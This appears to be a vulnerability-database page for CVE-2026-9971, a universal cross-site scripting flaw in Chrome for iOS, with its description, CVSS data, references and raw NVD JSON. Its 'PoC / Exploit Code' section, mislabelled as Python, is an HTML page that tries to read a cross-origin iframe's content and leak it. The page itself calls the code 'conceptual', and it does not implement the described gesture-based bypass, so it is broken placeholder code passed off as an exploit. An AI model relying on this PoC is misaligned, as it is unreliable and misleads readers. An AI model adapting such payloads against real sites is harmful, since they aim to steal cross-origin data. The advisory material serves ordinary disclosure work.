CVE-2026-9971

Description

Inappropriate implementation in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome for iOS < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9971 (Conceptual)
This demonstrates the payload structure.
-->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-9971 PoC</title>
</head>
<body>
<h1>CVE-2026-9971 UXSS PoC</h1>
<p>Perform the specific UI gesture required to trigger the vulnerability.</p>
<script>
    // Attempt to access cross-origin data (Conceptual)
    try {
        var iframe = document.createElement('iframe');
        iframe.src = 'https://target-site.com/sensitive';
        iframe.onload = function() {
            // In a real exploit, the gesture triggers the bypass
            var content = iframe.contentWindow.document.body.innerHTML;
            console.log("Leaked data: " + content);
            alert("UXSS Triggered: " + content.substring(0, 50));
        };
        document.body.appendChild(iframe);
    } catch (e) {
        console.log("Cross-origin restriction normally applies.");
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9971
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9971
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9971/
[4] VulDB https://vuldb.com/cve/CVE-2026-9971
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/508448586

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9971", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:55.310", "lastModified": "2026-05-29T18:17:17.170", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/508448586", "source": "[email protected]"}]}}